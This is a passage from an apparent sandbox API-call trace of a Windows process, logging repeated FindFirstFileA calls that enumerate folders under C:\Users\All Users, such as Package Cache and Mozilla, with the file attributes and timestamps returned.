ftLastAccessTime.dwLowDateTime=0x473d00, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x473d00, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.395] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x473d00, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x473d00, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690056, dwReserved1=0x740072, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.395] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f496a, dwReserved1=0x18001008, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.397] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.397] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft Help\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0x499e60, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x499e60, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x770057, dwReserved1=0x6e0061, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0092.405] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Mozilla\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0092.405] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Mozilla\\logs\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x499e60, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x499e60, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.405] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Oracle\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0092.406] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0092.406] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.407] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.407] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.407] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x499e60, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x499e60, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.408] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610070, dwReserved1=0x6b0063, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.408] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.408] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.409] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x4bffc0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x4bffc0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.409] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610070, dwReserved1=0x6b0063, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.409] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.410] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x4bffc0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x4bffc0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.410] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4bffc0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x4bffc0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610070, dwReserved1=0x6b0063, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.411] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540050, dwReserved1=0x460020, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.411] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.412] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4e6120, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x4e6120, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.413] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x4e6120, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x4e6120, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610070, dwReserved1=0x6b0063, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.413] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540050, dwReserved1=0x460020, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.413] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.414] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x4e6120, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x4e6120, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.414] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610070, dwReserved1=0x6b0063, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.415] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.415] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x4e6120, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x4e6120, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.416] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610070, dwReserved1=0x6b0063, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.416] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.416] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x50c280, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x50c280, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.417] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610070, dwReserved1=0x6b0063, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.417] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.417] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x50c280, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x50c280, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.418] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610070, dwReserved1=0x6b0063, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.418] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.419] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x50c280, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x50c280, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.419] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610070, dwReserved1=0x6b0063, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.420] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, 